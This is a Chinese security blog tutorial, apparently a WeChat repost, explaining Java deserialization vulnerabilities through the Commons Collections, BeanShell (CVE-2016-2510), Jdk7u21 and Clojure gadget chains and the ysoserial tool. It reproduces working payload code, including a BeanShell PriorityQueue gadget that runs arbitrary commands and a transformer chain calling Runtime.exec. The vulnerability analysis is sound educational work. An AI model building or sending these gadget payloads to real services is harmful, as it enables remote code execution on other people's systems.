Java反序列化漏洞

admin 2023年3月22日02:07:51评论26 views字数 9903阅读33分0秒阅读模式

前言

Java的漏洞中,最出名的漏洞莫过于Java反序列化漏洞了。

Java的序列化和反序列化

序列化是一个将对象转化成字节流的过程。在Java中,序列化可以通过objectOutputStream类的writeObject方法来实现。

反序列化是一个将字节流恢复成对象的过程。在Java中,反序列化可以通过ObjectInputStream类的readObject方法来实现。

序列化和反序列化常常用于储存或传输对象。序列化的Bytes中存储的信息包括有类名非静态成员变量,若成员变量也是对象,则会进行递归序列化和反序列化的。对于特殊的类,不能直接使用通用的序列化和反序列化方法(如HashTable),需要自定义序列化和反序列化的方法。

攻击面

显而易见的攻击面:控制字节流Bytes,即可以在程序中注入恶意构造的特定对象,但是这种方法一般难以应用与构造RCE,因为程序中往往会对反序列化后的对象进行类型转换,如果非指定的类,会抛出异常;这种方法更多可能用于信息的伪造,如权限绕过。

较深层的攻击面:在反序列化的过程中,若控制字节流Bytes,则可控制反序列化的类以及它的成员变量,在这过程中会自动调用自定义的反序列化函数,则可以简化为限制特定函数的有限制的代码执行,若能执行危险函数,则存在安全风险。若能找到合适的POP链,可以导致任意代码执行或命令执行。

关于Java的反序列化漏洞可以阅读长亭科技的这篇文章

Lib之过?Java反序列化漏洞通用利用分析

文中重点分析了利用Apache Commons Collections实现远程代码执行的原理,大概可以理解为:

Apache Commons Collections 3中有个TransformedMap类,它对标准的Map进行了拓展,当这个TransformedMap实例中的key或者value发生改变,会调用相应Transformertransform()方法,这个相应的Transformer是可以通过设置属性来设置的,而且可以用多个Transformer组合成ChainedTransformer,会依次调用transform()方法。

Apache Commons Collections 3自带的InvokerTransformer类的transform方法里面会根据传入的参数来通过Java的反射机制来调用函数。所以,我们可以利用它来调用我们想要调用的任意函数,如Runtime.getRunTime.exec

当然,这个以上所提到的需要key或者value改变,而默认的readObject函数并不会改变它们。所以,需要找到一个类,它的属性(成员变量)中包含有Map而且readObject函数会对key或者value进行改变,如setValue

然后,找到了AnnotationInvocationHandler类,它恰好符合上述条件,组合即可实现,输入一个序列化后的对象,程序执行反序列化操作,调用readObject方法,执行恶意代码。

听得有点迷糊吧,可以去看看上面提到的文章,跟着走一遍。

整个反序列化的流程是,AnnotationInvocationHandler对象,它的readObject函数

private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
var1.defaultReadObject();
AnnotationType var2 = null;

try {
var2 = AnnotationType.getInstance(this.type);
} catch (IllegalArgumentException var9) {
throw new InvalidObjectException("Non-annotation type in annotation serial stream");
}

Map var3 = var2.memberTypes();
Iterator var4 = this.memberValues.entrySet().iterator();

while(var4.hasNext()) {
Entry var5 = (Entry)var4.next();
String var6 = (String)var5.getKey();
Class var7 = (Class)var3.get(var6);
if (var7 != null) {
Object var8 = var5.getValue();
if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
}
}
}

}

这里其实还是需要分析一下的,我们的目的需要执行var5.setValue,要执行到这里需要一定的条件。只要动态调试一下就可以,主要是var7!=null这个条件,调试一下就可以发现var3只有value这个key,所以,需要Map中的键值为value,即innerMap.put("value","hello world");

OK,调用setValue函数,会依次调用ChainedTransformer里面的每一个Transformertransform函数。这个ChainedTransformer的构建方法如下。

((Runtime) Runtime.class.getMethod("getRuntime").invoke()).exec("calc.exe");
1.Runtime.class
new ConstantTransformer(Runtime.class),
2.getMethod("getRuntime")
new InvokerTransformer("getMethod",new Class[]{String.class, Class[].class}, new Object[]{"getRuntime",new Class[0]}),
3. invoke()
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class},new Object[] {null, new Object[0]}),
4. exec("calc.exe")
new InvokerTransformer("exec", new Class[]{String.class},new Object[] {"calc.exe"}),

ysoserial

ysoserial 是一个出名的反序列化漏洞利用工具,内有大量的payload,也很方便用于增加/修改payload。

整体架构

源码的src/main/java/ysoserial下是主程序,exploit下是针对不同应用的攻击程序,可以直接修改运行参数来使用不用的payload对目标应用进行测试,payload下是不同组件的反序列化payload,payload目录下有个util目录,里面包含有一些用于生成payload用到的小工具。

源码的src/test/java/ysooserial下是一些测试服务,可以用来测试payload。

由于JEP 290: Filter Incoming Serialization Data (JDK 9,然后反向移植到8u121, 7u131, and 6u141),在新版本的jdk下很多payload都不能用的,建议测试的时候,用低版本的jdk。

BeanShell

beanshell (bsh-2.0b5)是一个Java源代码解释器,类似于脚本语言的特性。BeanShell动态执行标准Java语法,并支持常见的脚本编写方法,如松散类型,命令和方法闭包等。BeanShell可以说是利用Java反射机制实现的新型脚本语言。/咦,貌似还挺好用。

BeanShell的反序列化漏洞,CVE-2016-2510,可以看到修复的commit,修复方法为将InvocationHandler invocationHandler=new Handler(),设置为transient,并且禁止Handler类序列化。

BeanShell通过反射的方式来实现调用函数,invocationHandler是我们在动态代理中很熟悉的一个参数,这里考虑到构造某类反序列化时,通过动态代理的方法调用我们事先存储在invocationHandler中的函数,从而执行任意代码。

小技巧
java.util.PriorityQueue类经过构造可以调用成员变量的Comparator.compare()Comparator.compareTo()方法。

Payload如下

public PriorityQueue getObject(String command) throws Exception {
// BeanShell payload

String payload =
"compare(Object foo, Object bar) {new java.lang.ProcessBuilder(new String[]{" +
Strings.join( // does not support spaces in quotes
Arrays.asList(command.replaceAll("\\","\\\\").replaceAll(""","\"").split(" ")),
",", """, """) +
"}).start();return new Integer(1);}";

// Create Interpreter
Interpreter i = new Interpreter();

// Evaluate payload
i.eval(payload);

// Create InvocationHandler
XThis xt = new XThis(i.getNameSpace(), i);
InvocationHandler handler = (InvocationHandler) Reflections.getField(xt.getClass(), "invocationHandler").get(xt);

// Create Comparator Proxy
Comparator comparator = (Comparator) Proxy.newProxyInstance(Comparator.class.getClassLoader(), new Class<?>[]{Comparator.class}, handler);

// Prepare Trigger Gadget (will call Comparator.compare() during deserialization)
final PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(2, comparator);
Object[] queue = new Object[] {1,1};
Reflections.setFieldValue(priorityQueue, "queue", queue);
Reflections.setFieldValue(priorityQueue, "size", 2);

return priorityQueue;
}

首先,构造beanshell的执行payload,执行并存储在invocationHandler中,

String payload =
"compare(Object foo, Object bar) {new java.lang.ProcessBuilder(new String[]{" +
Strings.join( // does not support spaces in quotes
Arrays.asList(command.replaceAll("\\","\\\\").replaceAll(""","\"").split(" ")),
",", """, """) +
"}).start();return new Integer(1);}";

// Create Interpreter
Interpreter i = new Interpreter();

然后,通过反射,取出XThis的成员变量invocationHandler

XThis xt = new XThis(i.getNameSpace(), i);
InvocationHandler handler = (InvocationHandler) Reflections.getField(xt.getClass(), "invocationHandler").get(xt);

接下来构造动态代理,这里用到了小技巧,

PriorityQueue类,它的readObject方法,跟进heapify()方法,里面调用siftDown方法,跟进,当comparator不为null,会调用siftDownUsingComparator,并在里面调用comparator.compare()方法。

private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
// Read in size, and any hidden stuff
s.defaultReadObject();

// Read in (and discard) array length
s.readInt();

queue = new Object[size];

// Read in all elements.
for (int i = 0; i < size; i++)
queue[i] = s.readObject();

// Elements are guaranteed to be in "proper order", but the
// spec has never explained what that might be.
heapify();
}

private void heapify() {
for (int i = (size >>> 1) - 1; i >= 0; i--)
siftDown(i, (E) queue[i]);
}

private void siftDown(int k, E x) {
if (comparator != null)
siftDownUsingComparator(k, x);
else
siftDownComparable(k, x);
}

private void siftDownUsingComparator(int k, E x) {
int half = size >>> 1;
while (k < half) {
int child = (k << 1) + 1;
Object c = queue[child];
int right = child + 1;
if (right < size &&
comparator.compare((E) c, (E) queue[right]) > 0)
c = queue[child = right];
if (comparator.compare(x, (E) c) <= 0)
break;
queue[k] = c;
k = child;
}
queue[k] = x;
}

所以,我们只要将上面获得的invocationHandler通过动态代理构造出实现Comparator的对象,并作为PriorityQueuecomparator即可。

// Create Comparator Proxy
Comparator comparator = (Comparator) Proxy.newProxyInstance(Comparator.class.getClassLoader(), new Class<?>[]{Comparator.class}, handler);

// Prepare Trigger Gadget (will call Comparator.compare() during deserialization)
final PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(2, comparator);
Object[] queue = new Object[] {1,1};
Reflections.setFieldValue(priorityQueue, "queue", queue);
Reflections.setFieldValue(priorityQueue, "size", 2);

return priorityQueue;

回顾一下,这里我们学到了一个小技巧PriorityQueue可以在反序列化过程中调用Comparator.compare()和 Comparable.compareTo()函数。

Jdk7u21

该反序列化漏洞存在jdk自带库中,低于jdk7u21的jdk版本受此漏洞影响。

Gadget chain that works against JRE 1.7u21 and earlier. Payload generation has
the same JRE version requirements.
  • Affected Product(s): Java SE 6, Java SE 7

  • Fixed in: Java SE 7u25 (2013-06-18), Java SE 8 (2014-03-18)

com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
有成员变量
byte[][] _bytecodes = null // 可以存储恶意bytecode
存在以下调用链
TemplatesImpl.getOutputProperties()
TemplatesImpl.newTransformer()
TemplatesImpl.getTransletInstance()
TemplatesImpl.defineTransletClasses()
ClassLoader.defineClass()
只要能够调用TemplatesImpl.getOutputProperties() / TemplatesImpl.newTransformer()即可以实现任意代码执行

sun.reflect.annotation.AnnotationInvocationHandlerequals方法会反射调用Templates所有方法,所以可以调用getOutputProperties()

Clojure

Clojure是一种高级的,动态的函数式编程语言。 它是基于LISP编程语言设计的,并且具有编译器,可以在Java和.Net运行时环境上运行。

org.clojure:clojure
Versions since 1.2.0 are vulnerable, although some class names may need to be changed for other versions

小技巧
java.util.HashMap类在writeObject过程中,将key/value以列表的形式逐个序列化,在readObject的过程中,会依次调用putVal(hash(key), key, value, false, false);,所以会调用的key.hashCode()key.equals(k)函数。

由于作者觉得之前写的文章不太容易理解,回炉重造中。。。

如果读者阅读上面文章感觉吃力,建议动手尝试,下方也提供了少量基础知识。

基础知识

Java 反射机制

Java反射是一个API,它被用于在运行时检测修改方法接口的行为。

通过反射,我们可以在运行时调用方法,而无视它们的访问说明符。

Java的反射的基础是Class类,当JVM加载类时会自动构造Class对象,而Class类对象则封装了(类和接口)的信息。

import java.lang.reflect.Method;

public class TestReflection {
public static void main(String [] args) throws Exception{
Object obj = Runtime.getRuntime();
// 获取obj的类名
System.out.println(obj.getClass().getName());
// 通过类名字符串获取类
Class c = Class.forName("java.lang.Runtime");
System.out.println(c);

// 根据名字获取方法
// Runtime.getRuntime().exec("calc.exe");
Method m1 = c.getDeclaredMethod("getRuntime");
Object o = m1.invoke(c, null);
Method m2 = o.getClass().getMethod("exec",String.class);
m2.invoke(o, "calc.exe");


}
}

Java动态代理机制

利用Java反射技术,在运行时创建接口s的动态实现。

一般创建动态代理,用到两个关键的类ProxyInvocationHandler

Proxy.newProxyInstance(ClassLoader loader, Class<?>[] interfaces, InvocationHandler h)

import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.lang.reflect.Proxy;


interface IFoo{
void go();
void fly(int len);
}

class Foo implements IFoo{

@Override
public void go(){
System.out.println("调用了Foo 的go函数");
}

public void run(){
System.out.println("调用了Foo 的run函数");
}

@Override
public void fly(int len){
System.out.println("调用了Foo 的fly函数, 飞了"+len+"米");
}
}

class DynamicInvocationHandler implements InvocationHandler{
@Override
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {

System.out.println("调用invoke函数,方法名为"+method.getName()+", 参数为"+args);
return null;
}
}

public class TestDynamicProxy {
public static void main(String [] args){
// 正常调用
Foo f = new Foo();
f.go();
f.run();
f.fly(10);

// 动态代理调用我们定义的go函数
IFoo f1 = (IFoo) Proxy.newProxyInstance(Foo.class.getClassLoader(), new Class[]{IFoo.class}, new DynamicInvocationHandler());
f1.go();
// ff.run();
f1.fly(8);

IFoo f2 = (IFoo) Proxy.newProxyInstance(Foo.class.getClassLoader(),
new Class[]{IFoo.class},
new InvocationHandler() {
@Override
public Object invoke(Object proxy, Method method, Object[] args){
System.out.println("method name is "+ method.getName() + ", args is "+args);
return null;
}
});
f2.go();
f2.fly(7);
}
}


原文始发于微信公众号(菜鸟小新):Java反序列化漏洞

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年3月22日02:07:51
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Java反序列化漏洞https://cn-sec.com/archives/1620383.html

发表评论

匿名网友 填写信息